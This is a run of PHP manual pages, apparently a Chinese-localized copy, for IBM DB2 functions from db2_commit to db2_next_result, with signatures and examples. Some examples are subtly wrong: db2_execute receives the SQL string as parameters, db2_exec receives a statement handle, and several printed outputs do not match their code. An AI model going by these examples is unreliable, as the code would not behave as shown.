db2_commit

(PECL)

db2_commit -- Commits a transaction

说明

bool db2_commit ( resource connection )

Commits an in-progress transaction on the specified connection resource and begins a new transaction. PHP applications normally default to AUTOCOMMIT mode, so db2_commit() is not necessary unless AUTOCOMMIT has been turned off for the connection resource.

注: If the specified connection resource is a persistent connection, all transactions in progress for all applications using that persistent connection will be committed. For this reason, persistent connections are not recommended for use in applications that require transactions.

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

db2_autocommit()
db2_rollback()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_columns | 上一级 | db2_conn_error


db2_conn_error

(PECL)

db2_conn_error -- Returns a string containing the SQLSTATE returned by the last connection attempt

说明

string db2_conn_error ( [resource connection] )

db2_conn_error() returns an SQLSTATE value representing the reason the last attempt to connect to a database failed. As db2_connect() returns FALSE in the event of a failed connection attempt, you do not pass any parameters to db2_conn_error() to retrieve the SQLSTATE value.

If, however, the connection was successful but becomes invalid over time, you can pass the connection parameter to retrieve the SQLSTATE value for a specific connection.

To learn what the SQLSTATE value means, you can issue the following command at a DB2 Command Line Processor prompt: db2 '? sqlstate-value'. You can also call db2_conn_errormsg() to retrieve an explicit error message and the associated SQLCODE value.

参数

connection

A connection resource associated with a connection that initially succeeded, but which over time became invalid.

返回值

Returns the SQLSTATE value resulting from a failed connection attempt. Returns an empty string if there is no error associated with the last connection attempt.

范例

例子 1. Retrieving an SQLSTATE value for a failed connection attempt

The following example demonstrates how to return an SQLSTATE value after deliberately passing invalid parameters to db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
    print "SQLSTATE value: " . db2_conn_error();
}
?>

上例将输出：

SQLSTATE value: 08001

参见

db2_conn_errormsg()
db2_connect()
db2_stmt_error()
db2_stmt_errormsg()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_commit | 上一级 | db2_conn_errormsg


db2_conn_errormsg

(PECL)

db2_conn_errormsg -- Returns the last connection error message and SQLCODE value

说明

string db2_conn_errormsg ( [resource connection] )

db2_conn_errormsg() returns an error message and SQLCODE value representing the reason the last database connection attempt failed. As db2_connect() returns FALSE in the event of a failed connection attempt, do not pass any parameters to db2_conn_errormsg() to retrieve the associated error message and SQLCODE value.

If, however, the connection was successful but becomes invalid over time, you can pass the connection parameter to retrieve the associated error message and SQLCODE value for a specific connection.

参数

connection

A connection resource associated with a connection that initially succeeded, but which over time became invalid.

返回值

Returns a string containing the error message and SQLCODE value resulting from a failed connection attempt. If there is no error associated with the last connection attempt, db2_conn_errormsg() returns an empty string.

范例

例子 1. Retrieving the error message returned by a failed connection attempt

The following example demonstrates how to return an error message and SQLCODE value after deliberately passing invalid parameters to db2_connect().

<?php
$conn = db2_connect('badname', 'baduser', 'badpassword');
if (!$conn) {
    print db2_conn_errormsg();
}
?>

上例将输出：

Msg:[IBM][CLI Driver] SQL1013N  The database alias name
or database name "BADNAME" could not be found.  SQLSTATE=42705
 Err Code: -1013

参见

db2_conn_error()
db2_connect()
db2_stmt_error()
db2_stmt_errormsg()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_conn_error | 上一级 | db2_connect


db2_connect

(PECL)

db2_connect -- Returns a connection to a database

说明

resource db2_connect ( string database, string username, string password [, array options] )

Creates a new connection to an IBM DB2 Universal Database, IBM Cloudscape, or Apache Derby database.

参数

database

For a cataloged connection to a database, database represents the database alias in the DB2 client catalog.

For an uncataloged connection to a database, database represents a complete connection string in the following format: DRIVER={IBM DB2 ODBC DRIVER};DATABASE=database;HOSTNAME=hostname;PORT=port;PROTOCOL=TCPIP;UID=username;PWD=password; where the parameters represent the following values:

database

The name of the database.

hostname

The hostname or IP address of the database server.

port

The TCP/IP port on which the database is listening for requests.

username

The username with which you are connecting to the database.

password

The password with which you are connecting to the database.

username

The username with which you are connecting to the database.

For uncataloged connections, you must pass a NULL value or empty string.

password

The password with which you are connecting to the database.

For uncataloged connections, you must pass a NULL value or empty string.

options

An associative array of connection options that affect the behavior of the connection, where valid array keys include:

autocommit

Passing the DB2_AUTOCOMMIT_ON value turns autocommit on for this connection handle.

Passing the DB2_AUTOCOMMIT_OFF value turns autocommit off for this connection handle.

返回值

Returns a connection handle resource if the connection attempt is successful. If the connection attempt fails, db2_connect() returns FALSE.

范例

例子 1. Creating a cataloged connection

Cataloged connections require you to have previously cataloged the target database through the DB2 Command Line Processor (CLP) or DB2 Configuration Assistant.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';

$conn = db2_connect($database, $user, $password);

if ($conn) {
    echo "Connection succeeded.";
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

上例将输出：

Connection succeeded.

例子 2. Creating an uncataloged connection

An uncataloged connection enables you to dynamically connect to a database.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$hostname = 'localhost';
$port = 50000;

$conn_string = "DRIVER={IBM DB2 ODBC DRIVER};DATABASE=$database;" .
  "HOSTNAME=$hostname;PORT=$port;PROTOCOL=TCPIP;UID=$user;PWD=$password;";
$conn = db2_connect($conn_string, '', '');

if ($conn) {
    echo "Connection succeeded.";
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

上例将输出：

Connection succeeded.

例子 3. Creating a connection with autocommit off by default

Passing an array of options to db2_connect() enables you to modify the default behavior of the connection handle.

<?php
$database = 'SAMPLE';
$user = 'db2inst1';
$password = 'ibmdb2';
$options = array('autocommit' => DB2_AUTOCOMMIT_OFF);

$conn = db2_connect($database, $user, $password, $options);

if ($conn) {
    echo "Connection succeeded.\n";
    if (db2_autocommit($conn)) {
         echo "Autocommit is on.\n";
    }
    else {
         echo "Autocommit is off.\n";
    }
    db2_close($conn);
}
else {
    echo "Connection failed.";
}
?>

上例将输出：

Connection succeeded.
Autocommit is off.

参见

db2_close()
db2_pconnect()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_conn_errormsg | 上一级 | db2_cursor_type


db2_cursor_type

(PECL)

db2_cursor_type -- Returns the cursor type used by a statement resource

说明

int db2_cursor_type ( resource stmt )

Returns the cursor type used by a statement resource. Use this to determine if you are working with a forward-only cursor or scrollable cursor.

参数

stmt

A valid statement resource.

返回值

Returns either DB2_FORWARD_ONLY if the statement resource uses a forward-only cursor or DB2_SCROLLABLE if the statement resource uses a scrollable cursor.

参见

db2_prepare()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_connect | 上一级 | db2_exec


db2_exec

(PECL)

db2_exec -- Executes an SQL statement directly

说明

resource db2_exec ( resource connection, string statement [, array options] )

Prepares and executes an SQL statement.

If you plan to interpolate PHP variables into the SQL statement, understand that this is one of the more common security exposures. Consider calling db2_prepare() to prepare an SQL statement with parameter markers for input values. Then you can call db2_execute() to pass in the input values and avoid SQL injection attacks.

If you plan to repeatedly issue the same SQL statement with different parameters, consider calling db2_prepare() and db2_execute() to enable the database server to reuse its access plan and increase the efficiency of your database access.

参数

connection

A valid database connection resource variable as returned from db2_connect() or db2_pconnect().

statement

An SQL statement. The statement cannot contain any parameter markers.

options

An associative array containing statement options. You can use this parameter to request a scrollable cursor on database servers that support this functionality.

cursor

Passing the DB2_FORWARD_ONLY value requests a forward-only cursor for this SQL statement. This is the default type of cursor, and it is supported by all database servers. It is also much faster than a scrollable cursor.

Passing the DB2_SCROLLABLE value requests a scrollable cursor for this SQL statement. This type of cursor enables you to fetch rows non-sequentially from the database server. However, it is only supported by DB2 servers, and is much slower than forward-only cursors.

返回值

Returns a statement resource if the SQL statement was issued successfully, or FALSE if the database failed to execute the SQL statement.

范例

例子 1. Creating a table with db2_exec()

The following example uses db2_exec() to issue a set of DDL statements in the process of creating a table.

<?php
$conn = db2_connect($database, $user, $password);

// Create the test table
$create = 'CREATE TABLE animals (id INTEGER, breed VARCHAR(32),
    name CHAR(16), weight DECIMAL(7,2))';
$result = db2_exec($conn, $create);
if ($result) {
    print "Successfully created the table.\n";
}

// Populate the test table
$animals = array(
    array(0, 'cat', 'Pook', 3.2),
    array(1, 'dog', 'Peaches', 12.3),
    array(2, 'horse', 'Smarty', 350.0),
    array(3, 'gold fish', 'Bubbles', 0.1),
    array(4, 'budgerigar', 'Gizmo', 0.2),
    array(5, 'goat', 'Rickety Ride', 9.7),
    array(6, 'llama', 'Sweater', 150)
);

foreach ($animals as $animal) {
    $rc = db2_exec($conn, "INSERT INTO animals (id, breed, name, weight)
      VALUES ('{$animal[0]}', '{$animal[1]}', '{$animal[2]}', {$animal[3]})");
    if ($rc) {
        print "Insert... ";
    }
}
?>

上例将输出：

Successfully created the table.
Insert... Insert... Insert... Insert... Insert... Insert... Insert...

例子 2. Executing a SELECT statement with a scrollable cursor

The following example demonstrates how to request a scrollable cursor for an SQL statement issued by db2_exec().

<?php
$conn = db2_connect($database, $user, $password);
$sql = "SELECT name FROM animals
    WHERE weight < 10.0
    ORDER BY name";
if ($conn) {
    require_once('prepare.inc');
    $stmt = db2_exec($conn, $sql, array('cursor' => DB2_SCROLLABLE));
    while ($row = db2_fetch_array($stmt)) {
        print "$row[0]\n";
    }
}
?>

上例将输出：

Bubbles
Gizmo
Pook
Rickety Ride

参见

db2_execute()
db2_prepare()

add a note add a note User Contributed Notes
shawn at frozen-o dot com
20-May-2006 01:34
If you need to "emulate" offset/limit (as PEAR::DB puts it) for db2 queries, you will definitely need to add array('cursor' => DB2_SCROLLABLE) to your db2_exec() call. Otherwise, you will get nothing useful from db2_fetch_{whatever}() when you try to (see following hack for example):

$limit = 10;
$offset = 20;

for ($i = 0; $i < $limit && $row = db2_fetch_array($result, $offset + $i); $i++) {
   // stuff goes here
}

You can accomplish the same time of thing using sub-selects, "with" statements and other things new to me in the world of DB2, but the more dynamically generated the queries, the more difficult it gets to implement limit/offset behavior on the fly.
add a note add a note

后退 | 起点 | 前进
db2_cursor_type | 上一级 | db2_execute


db2_execute

(PECL)

db2_execute -- Executes a prepared SQL statement

说明

bool db2_execute ( resource stmt [, array parameters] )

db2_execute() executes an SQL statement that was prepared by db2_prepare().

If the SQL statement returns a result set, for example, a SELECT statement or a CALL to a stored procedure that returns one or more result sets, you can retrieve a row as an array from the stmt resource using db2_fetch_assoc(), db2_fetch_both(), or db2_fetch_array(). Alternatively, you can use db2_fetch_row() to move the result set pointer to the next row and fetch a column at a time from that row with db2_result().

Refer to db2_prepare() for a brief discussion of the advantages of using db2_prepare() and db2_execute() rather than db2_exec().

参数

stmt

A prepared statement returned from db2_prepare().

parameters

An array of input parameters matching any parameter markers contained in the prepared statement.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

范例

例子 1. Preparing and executing an SQL statement with parameter markers

The following example prepares an INSERT statement that accepts four parameter markers, then iterates over an array of arrays containing the input values to be passed to db2_execute().

<?php
$pet = array(0, 'cat', 'Pook', 3.2);

$insert = 'INSERT INTO animals (id, breed, name, weight)
    VALUES (?, ?, ?, ?)';

$stmt = db2_prepare($conn, $insert);
if ($stmt) {
    $result = db2_execute($stmt, $pet);
    if ($result) {
        print "Successfully added new pet.";
    }
}
?>

上例将输出：

Successfully added new pet.

例子 2. Calling a stored procedure with an OUT parameter

The following example prepares a CALL statement that accepts one parameter marker representing an OUT parameter, binds the PHP variable $my_pets to the parameter using db2_bind_param(), then issues db2_execute() to execute the CALL statement. After the CALL to the stored procedure has been made, the value of $num_pets changes to reflect the value returned by the stored procedure for that OUT parameter.

<?php
$num_pets = 0;
$res = db2_prepare($conn, "CALL count_my_pets(?)");
$rc = db2_bind_param($res, 1, "num_pets", DB2_PARAM_OUT);
$rc = db2_execute($res);
print "I have $num_pets pets!";
?>

上例将输出：

I have 7 pets!

参见

db2_exec()
db2_fetch_array()
db2_fetch_assoc()
db2_fetch_both()
db2_fetch_row()
db2_prepare()
db2_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_exec | 上一级 | db2_fetch_array


db2_fetch_array

(PECL)

db2_fetch_array -- Returns an array, indexed by column position, representing a row in a result set

说明

array db2_fetch_array ( resource stmt [, int row_number] )

Returns an array, indexed by column position, representing a row in a result set. The columns are 0-indexed.

参数

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

返回值

Returns a 0-indexed array with column values indexed by the column position representing the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

范例

例子 1. Iterating through a forward-only cursor

If you call db2_fetch_array() without a specific row number, it automatically retrieves the next row in the result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt, $sql);

while ($row = db2_fetch_array($result)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row[1], $row[2], $row[3]);
}
?>

上例将输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

例子 2. Retrieving specific rows with db2_fetch_assoc() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_assoc() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_array($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row[1], $row[2], $row[3]);
    $i = $i + 2;
}
?>

上例将输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参见

db2_fetch_assoc()
db2_fetch_both()
db2_fetch_object()
db2_fetch_row()
db2_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_execute | 上一级 | db2_fetch_assoc


db2_fetch_assoc

(PECL)

db2_fetch_assoc -- Returns an array, indexed by column name, representing a row in a result set

说明

array db2_fetch_assoc ( resource stmt [, int row_number] )

Returns an array, indexed by column name, representing a row in a result set.

参数

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

返回值

Returns an associative array with column values indexed by the column name representing the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

范例

例子 1. Iterating through a forward-only cursor

If you call db2_fetch_assoc() without a specific row number, it automatically retrieves the next row in the result set.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt, $sql);

while ($row = db2_fetch_assoc($result)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
}
?>

上例将输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

例子 2. Retrieving specific rows with db2_fetch_assoc() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_assoc() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_assoc($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row['NAME'], $row['BREED'], $row['WEIGHT']);
    $i = $i + 2;
}
?>

上例将输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参见

db2_fetch_array()
db2_fetch_both()
db2_fetch_object()
db2_fetch_row()
db2_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_fetch_array | 上一级 | db2_fetch_both


db2_fetch_both

(PECL)

db2_fetch_both -- Returns an array, indexed by both column name and position, representing a row in a result set

说明

array db2_fetch_both ( resource stmt [, int row_number] )

Returns an array, indexed by both column name and position, representing a
row in a result set. Note that the row returned by
db2_fetch_both() requires more memory than the
single-indexed arrays returned by db2_fetch_assoc() or
db2_fetch_array().

参数

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

返回值

Returns an associative array with column values indexed by both the column name and 0-indexed column number. The array represents the next or requested row in the result set. Returns FALSE if there are no rows left in the result set, or if the row requested by row_number does not exist in the result set.

范例

例子 1. Iterating through a forward-only cursor

If you call db2_fetch_both() without a specific row number, it automatically retrieves the next row in the result set. The following example accesses columns in the returned array by both column name and by numeric index.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$stmt = db2_prepare($conn, $sql);
$result = db2_execute($stmt, $sql);

while ($row = db2_fetch_both($result)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row['ID'], $row[0], $row['BREED'], $row[3]);
}
?>

上例将输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

例子 2. Retrieving specific rows with db2_fetch_both() from a scrollable cursor

If your result set uses a scrollable cursor, you can call db2_fetch_both() with a specific row number. The following example retrieves every other row in the result set, starting with the second row.

<?php

$sql = "SELECT id, name, breed, weight FROM animals ORDER BY breed";
$result = db2_exec($stmt, $sql, array('cursor' => DB2_SCROLLABLE));

$i=2;
while ($row = db2_fetch_both($result, $i)) {
    printf ("%-5d %-16s %-32s %10s\n",
        $row[0], $row['NAME'], $row[2], $row['WEIGHT']);
    $i = $i + 2;
}
?>

上例将输出：

0     Pook             cat                                    3.20
5     Rickety Ride     goat                                   9.70
2     Smarty           horse                                350.00

参见

db2_fetch_array()
db2_fetch_assoc()
db2_fetch_object()
db2_fetch_row()
db2_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_fetch_assoc | 上一级 | db2_fetch_object


db2_fetch_object

(PECL)

db2_fetch_object -- Returns an object with properties representing columns in the fetched row

说明

object db2_fetch_object ( resource stmt [, int row_number] )

Returns an object in which each property represents a column returned in the row fetched from a result set.

参数

stmt

A valid stmt resource containing a result set.

row_number

Requests a specific 1-indexed row from the result set. Passing this parameter results in a PHP warning if the result set uses a forward-only cursor.

返回值

Returns an object representing a single row in the result set. The properties of the object map to the names of the columns in the result set.

The IBM DB2, Cloudscape, and Apache Derby database servers typically fold column names to upper-case, so the object properties will reflect that case.

If your SELECT statement calls a scalar function to modify the value of a column, the database servers return the column number as the name of the column in the result set. If you prefer a more descriptive column name and object property, you can use the AS clause to assign a name to the column in the result set.

Returns FALSE if no row was retrieved.

范例

例子 1. A db2_fetch_object() example

The following example issues a SELECT statement with a scalar function, RTRIM, that removes whitespace from the end of the column. Rather than creating an object with the properties "BREED" and "2", we use the AS clause in the SELECT statement to assign the name "name" to the modified column. The database server folds the column names to upper-case, resulting in an object with the properties "BREED" and "NAME".

<?php
$conn = db2_connect($database, $user, $password);

$sql = "SELECT breed, RTRIM(name) AS name
    FROM animals
    WHERE id = ?";

if ($conn) {
    $stmt = db2_prepare($conn, $sql);
    db2_execute($stmt, array(0));

    while ($pet = db2_fetch_object($stmt)) {
        echo "Come here, {$pet->NAME}, my little {$pet->BREED}!";
    }
    db2_close($conn);
}
?>

上例将输出：

Come here, Pook, my little cat!

参见

db2_fetch_array()
db2_fetch_assoc()
db2_fetch_both()
db2_fetch_row()
db2_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_fetch_both | 上一级 | db2_fetch_row


db2_fetch_row

(PECL)

db2_fetch_row -- Sets the result set pointer to the next row or requested row

说明

bool db2_fetch_row ( resource stmt [, int row_number] )

Use db2_fetch_row() to iterate through a result set, or to point to a specific row in a result set if you requested a scrollable cursor.

To retrieve individual fields from the result set, call the db2_result() function.

Rather than calling db2_fetch_row() and db2_result(), most applications will call one of db2_fetch_assoc(), db2_fetch_both(), or db2_fetch_array() to advance the result set pointer and return a complete row as an array.

参数

stmt

A valid stmt resource.

row_number

With scrollable cursors, you can request a specific row number in the result set. Row numbering is 1-indexed.

返回值

Returns TRUE if the requested row exists in the result set. Returns FALSE if the requested row does not exist in the result set.

范例

例子 1. Iterating through a result set

The following example demonstrates how to iterate through a result set with db2_fetch_row() and retrieve columns from the result set with db2_result().

<?php
$sql = 'SELECT name, breed FROM animals WHERE weight < ?';
$stmt = db2_prepare($conn, $sql);
db2_execute($stmt, array(10));
while (db2_fetch_row($stmt)) {
    $name = db2_result($stmt, 0);
    $breed = db2_result($stmt, 1);
    print "$name $breed";
}
?>

上例将输出：

cat Pook
gold fish Bubbles
budgerigar Gizmo
goat Rickety Ride

参见

db2_fetch_array()
db2_fetch_assoc()
db2_fetch_both()
db2_fetch_object()
db2_result()

add a note add a note User Contributed Notes
andrey at php dot net
26-Nov-2005 05:11
If the second parameter is 0 or NULL (which eventually evaluates to 0) then the internal pointer is moved forward. < 0 value will return an warning.
add a note add a note

后退 | 起点 | 前进
db2_fetch_object | 上一级 | db2_field_display_size


db2_field_display_size

(PECL)

db2_field_display_size -- Returns the maximum number of bytes required to display a column

说明

int db2_field_display_size ( resource stmt, mixed column )

Returns the maximum number of bytes required to display a column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer value with the maximum number of bytes required to display the specified column. If the column does not exist in the result set, db2_field_display_size() returns FALSE.

参见

db2_field_name()
db2_field_num()
db2_field_precision()
db2_field_scale()
db2_field_type()
db2_field_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_fetch_row | 上一级 | db2_field_name


db2_field_name

(PECL)

db2_field_name -- Returns the name of the column in the result set

说明

string db2_field_name ( resource stmt, mixed column )

Returns the name of the specified column in the result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns a string containing the name of the specified column. If the specified column does not exist in the result set, db2_field_name() returns FALSE.

参见

db2_field_display_size()
db2_field_num()
db2_field_precision()
db2_field_scale()
db2_field_type()
db2_field_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_field_display_size | 上一级 | db2_field_num


db2_field_num

(PECL)

db2_field_num -- Returns the position of the named column in a result set

说明

int db2_field_num ( resource stmt, mixed column )

Returns the position of the named column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer containing the 0-indexed position of the named column in the result set. If the specified column does not exist in the result set, db2_field_num() returns FALSE.

参见

db2_field_display_size()
db2_field_name()
db2_field_precision()
db2_field_scale()
db2_field_type()
db2_field_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_field_name | 上一级 | db2_field_precision


db2_field_precision

(PECL)

db2_field_precision -- Returns the precision of the indicated column in a result set

说明

int db2_field_precision ( resource stmt, mixed column )

Returns the precision of the indicated column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer containing the precision of the specified column. If the specified column does not exist in the result set, db2_field_precision() returns FALSE.

参见

db2_field_display_size()
db2_field_name()
db2_field_num()
db2_field_scale()
db2_field_type()
db2_field_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_field_num | 上一级 | db2_field_scale


db2_field_scale

(PECL)

db2_field_scale -- Returns the scale of the indicated column in a result set

说明

int db2_field_scale ( resource stmt, mixed column )

Returns the scale of the indicated column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer containing the scale of the specified column. If the specified column does not exist in the result set, db2_field_scale() returns FALSE.

参见

db2_field_display_size()
db2_field_name()
db2_field_num()
db2_field_precision()
db2_field_type()
db2_field_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_field_precision | 上一级 | db2_field_type


db2_field_type

(PECL)

db2_field_type -- Returns the data type of the indicated column in a result set

说明

string db2_field_type ( resource stmt, mixed column )

Returns the data type of the indicated column in a result set.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns a string containing the defined data type of the specified column. If the specified column does not exist in the result set, db2_field_type() returns FALSE.

参见

db2_field_display_size()
db2_field_name()
db2_field_num()
db2_field_precision()
db2_field_scale()
db2_field_width()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_field_scale | 上一级 | db2_field_width


db2_field_width

(PECL)

db2_field_width -- Returns the width of the current value of the indicated column in a result set

说明

int db2_field_width ( resource stmt, mixed column )

Returns the width of the current value of the indicated column in a result set. This is the maximum width of the column for a fixed-length data type, or the actual width of the column for a variable-length data type.

参数

stmt

Specifies a statement resource containing a result set.

column

Specifies the column in the result set. This can either be an integer representing the 0-indexed position of the column, or a string containing the name of the column.

返回值

Returns an integer containing the width of the specified character or binary data type column in a result set. If the specified column does not exist in the result set, db2_field_width() returns FALSE.

参见

db2_field_display_size()
db2_field_name()
db2_field_num()
db2_field_precision()
db2_field_scale()
db2_field_type()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_field_type | 上一级 | db2_foreign_keys


db2_foreign_keys

(PECL)

db2_foreign_keys -- Returns a result set listing the foreign keys for a table

说明

resource db2_foreign_keys ( resource connection, string qualifier, string schema, string table-name )

Returns a result set listing the foreign keys for a table.

参数

connection

A valid connection to an IBM DB2, Cloudscape, or Apache Derby database.

qualifier

A qualifier for DB2 databases running on OS/390 or z/OS servers. For other databases, pass NULL or an empty string.

schema

The schema which contains the tables. If schema is NULL, db2_foreign_keys() matches the schema for the current connection.

table-name

The name of the table.

返回值

Returns a statement resource with a result set containing rows describing the foreign keys for the specified table. The result set is composed of the following columns:

Column name | Description
PKTABLE_CAT | Name of the catalog for the table containing the primary key. The value is NULL if this table does not have catalogs.
PKTABLE_SCHEM | Name of the schema for the table containing the primary key.
PKTABLE_NAME | Name of the table containing the primary key.
PKCOLUMN_NAME | Name of the column containing the primary key.
FKTABLE_CAT | Name of the catalog for the table containing the foreign key. The value is NULL if this table does not have catalogs.
FKTABLE_SCHEM | Name of the schema for the table containing the foreign key.
FKTABLE_NAME | Name of the table containing the foreign key.
FKCOLUMN_NAME | Name of the column containing the foreign key.
KEY_SEQ | 1-indexed position of the column in the key.
UPDATE_RULE | Integer value representing the action applied to the foreign key when the SQL operation is UPDATE.
DELETE_RULE | Integer value representing the action applied to the foreign key when the SQL operation is DELETE.
FK_NAME | The name of the foreign key.
PK_NAME | The name of the primary key.
DEFERRABILITY | An integer value representing whether the foreign key deferrability is SQL_INITIALLY_DEFERRED, SQL_INITIALLY_IMMEDIATE, or SQL_NOT_DEFERRABLE.

参见

db2_column_privileges()
db2_columns()
db2_primary_keys()
db2_procedure_columns()
db2_procedures()
db2_special_columns()
db2_statistics()
db2_table_privileges()
db2_tables()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_field_width | 上一级 | db2_free_result


db2_free_result

(PECL)

db2_free_result -- Frees resources associated with a result set

说明

bool db2_free_result ( resource stmt )

Frees the system and database resources that are associated with a result set. These resources are freed implicitly when a script finishes, but you can call db2_free_result() to explicitly free the result set resources before the end of the script.

参数

stmt

A valid statement resource.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

db2_free_stmt()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_foreign_keys | 上一级 | db2_free_stmt


db2_free_stmt

(PECL)

db2_free_stmt -- Frees resources associated with the indicated statement resource

说明

bool db2_free_stmt ( resource stmt )

Frees the system and database resources that are associated with a statement resource. These resources are freed implicitly when a script finishes, but you can call db2_free_stmt() to explicitly free the statement resources before the end of the script.

参数

stmt

A valid statement resource.

返回值

如果成功则返回 TRUE，失败则返回 FALSE。

参见

db2_free_result()

add a note add a note User Contributed Notes
There are no user contributed notes for this page.

后退 | 起点 | 前进
db2_free_result | 上一级 | db2_next_result


db2_next_result

(PECL)

db2_next_result -- Requests the next result set from a stored procedure

说明

resource db2_next_result ( resource stmt )

A stored procedure can return zero or more result sets. While you handle the first result set in exactly the same way you would handle the results returned by a simple SELECT statement, to fetch the second and subsequent result sets from a stored procedure you must call the db2_next_result() function and return the result to a uniquely named PHP variable.

参数

stmt

A prepared statement returned from db2_exec() or db2_execute().

返回值

Returns a new statement resource containing the next result set if the stored procedure returned another result set. Returns FALSE if the stored procedure did not return another result set.

范例

例子 1. Calling a stored procedure that returns multiple result sets

In the following example, we call a stored procedure that returns three result sets. The first result set is fetched directly from the same statement resource on which we invoked the CALL statement, while the second and third result sets are fetched from statement resources returned from our calls to the db2_next_result() function.

<?php
$conn = db2_connect($database, $user, $password);

if ($conn) {
  $stmt = db2_exec($conn, 'CALL multiResults()');

  print "Fetching first result set\n";
  while ($row = db2_fetch_array($stmt)) {
    var_dump($row);
  }

  print "\nFetching second result set\n";
  $res = db2_next_result($stmt);
  if ($res) {
    while ($row = db2_fetch_array($res)) {
      var_dump($row);
    }
  }

  print "\nFetching third result set\n";
  $res2 = db2_next_result($stmt);
  if ($res2) {
    while ($row = db2_fetch_array($res2)) {
      var_dump($row);
    }
  }

  db2_close($conn);
}
?>

上例将输出：

